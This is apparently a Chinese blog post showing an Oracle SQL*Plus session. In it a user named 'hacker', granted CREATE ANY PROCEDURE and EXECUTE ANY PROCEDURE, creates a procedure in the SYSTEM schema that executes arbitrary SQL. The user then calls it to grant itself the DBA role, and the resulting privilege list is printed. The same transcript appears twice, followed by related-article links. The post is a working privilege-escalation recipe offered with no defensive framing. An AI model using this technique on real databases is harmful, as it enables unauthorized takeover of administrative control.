获取dba权限的存储过程
2012-02-09 17:30
190 查看
SQL> conn / as sysdba
Connected.
SQL> create user hacker identified by bbk_12345;
User created.
SQL> grant create session to hacker;
Grant succeeded.
SQL> grant create any procedure, execute any procedure to hacker;
Grant succeeded.
SQL> conn hacker/bbk_12345
Connected.
SQL> create procedure system.h1(h1_str in varchar2) as
2 begin
3 execute immediate h1_str;
4 end;
5 /
Procedure created.
SQL> execute system.h1('grant dba to hacker');
PL/SQL procedure successfully completed.
SQL> conn hacker/bbk_12345
Connected.
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER
......
161 rows selected.
搞定
Connected.
SQL> create user hacker identified by bbk_12345;
User created.
SQL> grant create session to hacker;
Grant succeeded.
SQL> grant create any procedure, execute any procedure to hacker;
Grant succeeded.
SQL> conn hacker/bbk_12345
Connected.
SQL> create procedure system.h1(h1_str in varchar2) as
2 begin
3 execute immediate h1_str;
4 end;
5 /
Procedure created.
SQL> execute system.h1('grant dba to hacker');
PL/SQL procedure successfully completed.
SQL> conn hacker/bbk_12345
Connected.
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER
......
161 rows selected.
搞定
相关文章推荐
- ORA-01031 权限不足-存储过程中DBA 角色用户无法执行DDL
- mysql 获取所有用户所有权限存储过程
- 在存储过程中查询dba_tables表的时候,需要赋权限给该用户
- ado.net获取存储过程的返回值
- ASP.NET执行存储过程,并获取存储过程的返回值
- 怎样获取存储过程参数列表
- 给所有存储过程加所有人权限的一个存储过程
- 设置存储过程权限
- Oracle的存储过程中创建临时表报权限不足问题
- sql server中分页获取数据的存储过程
- 利用存储过程获取系统表名
- oracle 存储过程查询dba_free_space ORA-00942:表或视图不存在
- 获取sql所有存储过程脚本,获取sql表名,视图名,存储过程名等
- Mysql存储过程——多结果集返回与java获取
- 给用户添加执行存储过程权限
- mysql执行存储过程权限的问题
- mysql存储过程中定义权限
- C#获取存储过程的Return返回值和Output输出参数值
- 【数据库】如何获取存储过程的输出参数值
- 存储过程建db_link权限问题